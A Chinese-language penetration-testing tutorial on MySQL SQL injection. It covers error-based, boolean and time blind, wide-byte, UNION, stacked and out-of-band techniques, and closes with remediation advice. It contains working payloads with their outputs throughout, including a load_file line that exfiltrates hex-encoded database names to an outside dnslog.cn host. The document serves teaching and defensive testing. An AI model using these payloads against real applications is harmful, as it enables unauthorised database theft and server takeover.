渗透测试知识梳理-注入类-1-SQL注入-Mysql
1. SQL注入
1.1 漏洞简介
通过把SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。按照构造和提交SQL语句的方式进行划分,SQL注入又分为GET型注入、POST型注入和Cookies型注入。按照执行效果划分,SQL注入可分为报错注入、布尔盲注、宽字节注入、时间盲注、二次注入、联合注入、堆查询注入等。根据数据传输的方式划分,可分为经典的SQL注入(inference)、带内注入(inband)、带外注入(out-of-band)。
1.2 漏洞危害
SQL注入漏洞主要危害是攻击者可利用该漏洞窃取数据库中的任意内容,在某些场景下,攻击者将有可能获得数据库服务器的完全控制权限。
1.3 漏洞详情
1.3.1 MySQL注入
1.3.1.1 报错注入
报错注入按照报错类型可以划分为重复错误、溢出错误、数据格式错误三大类。以下是报错注入中常用的函数:
1. floor()
floor() : 返回小于等于该值的最大整数。
floor(rand(0)* 2): 返回0到2之间的整数。
group by: 主要用来对数据进行分组。
count(*): 返回在给定的选择中被选的行数。
原理: 利用 floor(rand(0)*2) 在多次计算时产生固定的数字序列011011,结合 rand() 可被多次计算的特殊性以及group by的虚拟表插入分组时的两次计算(查询时一次,插入时一次),最终导致插入重复的键而报错。
mysql> select count(*),concat(floor(rand(0)*2),'@',(select version()))x from information_schema.tables group by x;
1062 - Duplicate entry '1@5.5.47' for key 'group_key'
2. extractvalue()
extractvalue(): 对XML文档进行查询的函数。
语法: extractvalue(目标xml文档,xml路径)
原理: 通过构造错误的XML路径导致解析出错(~ 开头的内容不是xml格式的语法),从而引起数据库报错。
mysql> select extractvalue('anything',concat('~',(select version())));
1105 - XPATH syntax error: '~5.5.47'
注意: extractvalue() 和 updatexml() 能查询字符串的最大长度为32,如果想要查询结果超过32,就需要用substring()函数截取。
mysql> select extractvalue('xxx',concat('#',substring(hex((select database())),1,64)));
1105 - XPATH syntax error: '#7365637572697479'
3. updatexml()
updatexml(): 更新xml文档的函数。
语法: updatexml(目标xml文档,xml路径,更新的内容)。
原理: 通过构造错误的XML路径导致解析出错(~ 开头的内容不是xml格式的语法),从而引起数据库报错。
mysql> select updatexml('xxx',concat('~',(select user())),'xxx');
1105 - XPATH syntax error: '~root@localhost'
4. geometrycollection()
geometrygollection(): 是由1个或多个任意类几何对象构成的几何对象(任何几何的集合、线段、圆等)。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
语法: GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
POINT(x,y): 这是坐标函数,相当于X,Y坐标图上的一点。
LINESTRING(x y,x y): 用来描述直线,两点连成的直线。
原理: 由于MYSQL无法用这样字符串画出图形,导致报错。
范围: 5.5<mysql版本<5.6
mysql> select geometrycollection((select * from(select * from (select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.47' AS `version()` from dual) `b`)' value found during parsing
5. multipoint()
MultiPoint 是一种由Point元素构成的几何对象集合(点的集合)。这些点未以任何方式连接或排序。
原理: 参数本应是空间几何对象集合,由于无法解析该集合导致报错(个人理解)。
mysql> select multipoint((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
6. polygon()
Polygon 是代表多边几何对象的平面。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。(可以理解为一个平面图形,中间有0个或多个多边形)
原理: 应该跟之前的4、5一样,都是由于无法解析导致报错(个人理解)。
mysql> select polygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
7. multipolygon()
multipolygon 是一个集合类,是多个Point、LineString或Polygon组合在一起而成。
原理: 应该是由于无法解析导致报错(个人理解)。
mysql> select multipolygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
8. linestring()
LineString 是具有点之间线性内插特性的Curve。
原理: 应该是由于无法解析导致报错(个人理解)。
mysql> select linestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
9. multilinestring()
MultiLineString 是一种由 LineString元素构成的MultiCurve几何对象集合。
原理: 应该是由于无法解析导致报错(个人理解)。
mysql> select multilinestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
10. exp()
EXP() 函数用于将E提升为指定数字的幂。这里E(2.718281 …)是自然对数的底数。
参数: 此方法接受语法中上面提到并在下面描述的一个参数:X 一个指定的数字,将用作E的幂。
返回值: 它返回提高到给定数字X的幂的E。
范围: 5.5<mysql版本<5.6
原理: exp()的参数在大于710时报错DOUBLE overflow error,利用取反以及子查询构造大于710的值,进行报错注入。
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
11. NAME_CONST()
NAME_CONST(): 返回给定的值。当用于生成结果集列时,NAME_CONST()使列具有给定的名称。参数是常量。此功能仅供内部使用。服务器在从包含对本地程序变量的引用的存储程序中编写语句时使用它。
限制: 查询的内容需是定值(除了version()查询,别的没试成功😭)。
原理: 通过NAME_CONST制造列,利用 Mysql 列名重复会导致报错。
用法: NAME_CONST(名称,值)
mysql> select NAME_CONST('test',666);
+------+
| test |
+------+
| 666 |
+------+
1 row in set
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x;
1060 - Duplicate column name '5.5.47'
12. JOIN()
JOIN(): 连接运算、把两个表中的行按照给定的条件进行拼接而形成新表。
限制: 需要已知表名。
原理: 通过NAME_CONST制造列,JOIN进行重复列连接形成具有重复列的表,子查询执行查询版本信息函数,最后利用 Mysql 父查询列名重复时会导致报错。
mysql> select*from(select NAME_CONST(version(),0))a join(select NAME_CONST(version(),0))b;
+--------+--------+
| 5.5.47 | 5.5.47 |
+--------+--------+
| 0 | 0 |
+--------+--------+
1 row in set
mysql> select*from (select*from(select NAME_CONST(version(),0))a join(select NAME_CONST(version(),0))b)c;
1060 - Duplicate column name '5.5.47'
mysql> select exists(select*from (select*from(select NAME_CONST(version(),0))a join(select NAME_CONST(version(),0))b)c);
1060 - Duplicate column name '5.5.47'
1.3.1.2 布尔盲注
SQL注入过程中如果没有报错显示,当查询的语句为真和为假时返回包有不同的特征(返回包状态或者长度),就需要根据这些特征进行布尔判断。
length(): 返回字符串的长度, 可以返回 数据库 表明 列名的 长度
substr(): 截取字符串。subster(string, start, length) 字符串, 从第几位截取,截取长度是多少
ascii(): 返回ascil码
1. 查询数据长度
mysql> select database();
+------------+
| database() |
+------------+
| runoob_db |
+------------+
1 row in set
mysql> select * from sites where id="1" and length (database())>10;
Empty set
mysql> select * from sites where id="1" and length (database())=9;
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
2. 截取字符判断
mysql> select ascii("r");
+------------+
| ascii("r") |
+------------+
| 114 |
+------------+
1 row in set
mysql> select * from sites where id="1" and ascii(substr(database(),1,1))=123;
Empty set
mysql> select * from sites where id="1" and ascii(substr(database(),1,1))=114;
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
也可以使用mid()函数和ord()函数。
mid(): 该函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
用法: MID(column_name,start[,length])
ord(): ORD() 函数返回字符串第一个字符的 ASCII 值。
用法: ORD(string)
mysql> select * from sites where id="1" and ord(mid(database(),1,1))=14;
Empty set
mysql> select * from sites where id="1" and ord(mid(database(),1,1))=114;
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
一般使用二分法进行判断,可以结合if语句。
mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))>114),1,0);
Empty set
mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),1,0);
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
1.3.1.3 时间盲注
时间盲注即是在布尔注入的基础上增加延时判断,用于无任何返回特征的情况下测试。
1. SLEEP()
sleep(n): 将程序挂起一段时间,n为n秒。
下列中当查询为真时延时3秒。
mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),1,0);
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),sleep(3),0);
Empty set
2. BENCHMARK()
BENCHMARK(): 重复执行某表达式。
用法: benchmark(count,expr),是重复执行count次expr表达式
原理: 增大count次数,来产生延迟。
mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),benchmark(5000000,md5("1111111")),0);
Empty set
3. 笛卡尔积(叠加全排列)
原理: 数据表连接是一个耗时操作,利用该方法对多个表进行连接达到耗时操作。
注意: 此方法可用于1/2的延时函数被过滤的情况下。
下列中对同一个表进行查询操作(不同表也可以),每增加一个表耗时时间成指数增长。最后查询的是从A、B、C、D中每个元素的组合所组成的集合中的count(*),耗时时间为11秒。
mysql> select count(*) from information_schema.tables A;
+----------+
| count(*) |
+----------+
| 255 |
+----------+
1 row in set (0.00 sec)
mysql> select count(*) from information_schema.tables A,information_schema.tables B;
+----------+
| count(*) |
+----------+
| 65025 |
+----------+
1 row in set (0.01 sec)
mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C;
+----------+
| count(*) |
+----------+
| 16581375 |
+----------+
1 row in set (0.27 sec)
mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C,information_schema.tables D;
+------------+
| count(*) |
+------------+
| 4228250625 |
+------------+
1 row in set (1 min 11.56 sec)
4. get_lock()
get_lock(key,timeout): 对key进行加锁,如果加锁失败,延时timeout秒。
release_lock(key): 释放锁。
原理: 在一个MySQL会话中先对某一key进行加锁,之后新建一个会话再加锁,实现延时成功,替换上述例子中的sleep()函数即可。
MYSQL会话1:
mysql> select get_lock('name',5);
+--------------------+
| get_lock('name',5) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
MYSQL会话2:此时加锁失败,存在延时5秒。
mysql> select get_lock('name',5);
+--------------------+
| get_lock('name',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
mysql> select * from sites;
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
| 2 | Github | https://www.Github.com |
| 5 | Github | https://www.Github.com |
+----+--------+------------------------+
3 rows in set (0.00 sec)
mysql> select * from sites where id='1' and if((ord(mid(database(),1,1))=114),get_lock('name',5),0);
Empty set (5.00 sec)
5. 正则表达式
RPAD(): 函数将一个字符串用另一个字符串填充到一定长度。
用法: SELECT RPAD("SQL Tutorial", 20, "ABC");
将SQLTutorial用ABC填充到20的长度。
mysql> SELECT RPAD("SQL Tutorial", 20, "ABC");
+---------------------------------+
| RPAD("SQL Tutorial", 20, "ABC") |
+---------------------------------+
| SQL TutorialABCABCAB |
+---------------------------------+
1 row in set (0.00 sec)
REPEAT(str,times): 复制字符串times次。
原理: 通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可或者pattern可以控制延时长短。
经过自己的测试,pattern的复杂度要比重复量影响更大一点。结果如下:
mysql> select concat(rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",999999991111111111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252")) REGEXP concat(repeat('(abcde.*)+',100000));
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999," |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| NULL |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set, 1 warning (0.53 sec)
mysql> select concat(rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",999999991111111111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999111,"123ASDASDASD123AS!@#5252")) REGEXP concat(repeat('((([a-zA-Z0-9][-a-zA-Z0-9]{0,62}((\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})|(:[0-9]{1,5}))+\.?)))+',10000));
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999,"123ASDASDASD123AS!@#5252"),rpad("123ASDASDASD123AS!@#5252",99999999," |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| NULL |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set, 1 warning (8.64 sec)
pattern为:abcde.* ,重复100000次,时间0.52
pattern为:(([a-zA-Z0-9][-a-zA-Z0-9]{0,62}((\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})|(:[0-9]{1,5}))+\.?))
,重复10000次(比以上少了10倍的重复次数),时间8.64秒。
1.3.1.4 宽字节注入
宽字节注入又可称为单引号逃逸,是指利用前后端数据编码不同,使数据查询时产生单引号分割,成功注入查询代码。
原理: 中文操作系统中,ASCII大于 128 的字节被看作汉字的首字节,在UTF编码中,3个字节代表一个汉字,GBK编码中,2个字节代表一个汉字,如果在数据传入GBK编码的数据库的过程中,单引号被转义后(%CF\‘),且第一个字节ASCII码大于128,则%CF\被看作一个中文字符,单引号成功逃逸,造成注入。
过程:
%CF\ ·········URL编码········>%CF%5C ·········GBK编码········> 蟎
条件:
- 存在转义函数,能将单引号转义,例如addslashes()、mysql_real_escape_string()、mysql_escape_string()、magic_quote_gpc。
- 数据库使用GBK字符集。
可以构造payload如下(注意使用注释符消除另一个单引号):
%CF%5C' and if((ord(mid(database(),1,1))=114),sleep(3),0)--+
mysql> select * from sites where id='1蟎' and if((ord(mid(database(),1,1))=114),sleep(3),0)-- ';
-> ;
Empty set, 1 warning (3.00 sec)
1.3.1.5 二次注入
二次注入是指攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
• 第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
• 第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
1.3.1.6 联合注入
联合注入即是UNION注入,算是一般的注入类型,这种情况下前端有回显。一般情况下先使用order by判断回显列数,确定回显列,之后在回显列处插入payload即可。
UNION(): UNION操作符用于合并两个或多个SELETC语句的结果集.
条件: UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条,每条SELECT语句中的列的顺序必须相同。
本列中先使用order by确定回显列数为3列,分别是id、name、url,之后在列数的位置上查询相应的信息。
mysql> select * from sites where id=1 order by 4;
1054 - Unknown column '4' in 'order clause'
mysql> select * from sites where id=1 order by 3;
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
mysql> select * from sites where id=1 union select database(),user(),version() from sites;
+-----------+----------------+------------------------+
| id | name | url |
+-----------+----------------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
| runoob_db | root@localhost | 5.5.47 |
+-----------+----------------+------------------------+
2 rows in set
1.3.1.7 堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束,如果在结束一个sql语句后继续构造下一条语句,并且成功执行,则存在堆叠注入。
如下列所示:
mysql> select * from sites where id='1';select user();
+----+--------+------------------------+
| id | name | url |
+----+--------+------------------------+
| 1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set (0.00 sec)
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
1.3.1.8 OOB注入
带外通道技术(Out-Of-Band)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞。这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。
UNC: UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径
格式: \servername\sharename\directory\filename
条件:
- DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC
- Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据
- secure_file_priv 不为NULL,即可以使用load_file() 函数加载文件。
查询 MySQL secure_file_priv的值未设置,即可以进行OOB注入。
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set
本次以DNSlog为例:
mysql> select database();
+------------+
| database() |
+------------+
| runoob_db |
+------------+
1 row in set
mysql> select load_file(concat('\\\\',(select hex(database())),'.m5jaid.dnslog.cn\\abc'));
+-----------------------------------------------------------------------------+
| load_file(concat('\\\\',(select hex(database())),'.m5jaid.dnslog.cn\\abc')) |
+-----------------------------------------------------------------------------+
| NULL |
+-----------------------------------------------------------------------------+
1 row in set
mysql> select unhex('72756E6F6F625F6462');
+-----------------------------+
| unhex('72756E6F6F625F6462') |
+-----------------------------+
| runoob_db |
+-----------------------------+
1 row in set
查看DNSlog,成功获取数据。
还有一种方式是利用CONV进行进制转换从而对数据进行隐藏。
CONV(): 将一个数字从一个数字基数系统转换为另一个数字基数系统。
限制: Mysql版本 < 5.7.5
原理: 利用CONV对查询数据进行隐藏。
mysql> select conv(hex(substr(user(),1, 8)), 16, 10);
+----------------------------------------+
| conv(hex(substr(user(),1, 8)), 16, 10) |
+----------------------------------------+
| 8245931987826405219 |
+----------------------------------------+
1 row in set
mysql> select conv(hex(substr(user(),9, 16)), 16, 10);
+-----------------------------------------+
| conv(hex(substr(user(),9, 16)), 16, 10) |
+-----------------------------------------+
| 107118236496756 |
+-----------------------------------------+
1 row in set
mysql> select unhex(conv(8245931987826405219,10,16));
+----------------------------------------+
| unhex(conv(8245931987826405219,10,16)) |
+----------------------------------------+
| root@loc |
+----------------------------------------+
1 row in set
mysql> select unhex(conv(107118236496756,10,16));
+------------------------------------+
| unhex(conv(107118236496756,10,16)) |
+------------------------------------+
| alhost |
+------------------------------------+
1 row in set
1.4 漏洞修复
1.修改Web应用服务的软件部分,增加对客户端提交数据的合法性验证,至少严格过滤SQL语句中的关键字,并且所有验证都应该在服务器端实现,以防客户端控制被绕过。验证GET、POST、COOKIE等方法中URL后面跟的参数,需过滤的关键字有'
单引号、""双引号、\'反斜杠单引号、\""反斜杠双引号、)括号、;分号、--双减号、+加号。以及SQL关键字,注意对于关键字要对大小写都识别。
2.建议降低Web应用访问使用较低权限的用户访问数据库。不要使用数据库管理员等高权限的用户访问数据库。
3.使用安全的框架如Qframe或使用通用防注入脚本。
4.尽量使用预编译的方式执行SQL。
5.对于将进入SQL语句拼接前的参数,数字型参数对数字进行数字型检测,并检测范围,字符型参数对参数进行转义。
6.为了防止二次注入,可以在二次拼接SQL语句前,对取出的参数进行转义。
Reference linking:
- https://www.cnblogs.com/sfriend/p/11365999.html
- https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
- https://blog.csdn.net/weixin_39851457/article/details/113678961
- https://www.mysqlzh.com/doc/174/136.html
- https://blog.csdn.net/weixin_46706771/article/details/112771788
- https://blog.csdn.net/weixin_46706771/article/details/112768863
- https://www.cnblogs.com/forforever/p/13019703.html
- https://www.cnblogs.com/liupp123/articles/8023861.html
- https://www.cnblogs.com/yangmingxianshen/p/7999428.html
- https://blog.csdn.net/weixin_45146120/article/details/100608575
- https://blog.csdn.net/weixin_44316992/article/details/110818185
- http://t.zoukankan.com/renhaoblog-p-12912452.html
- https://blog.csdn.net/u014029795/article/details/105214129
- https://blog.csdn.net/fdipzone/article/details/78634992
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。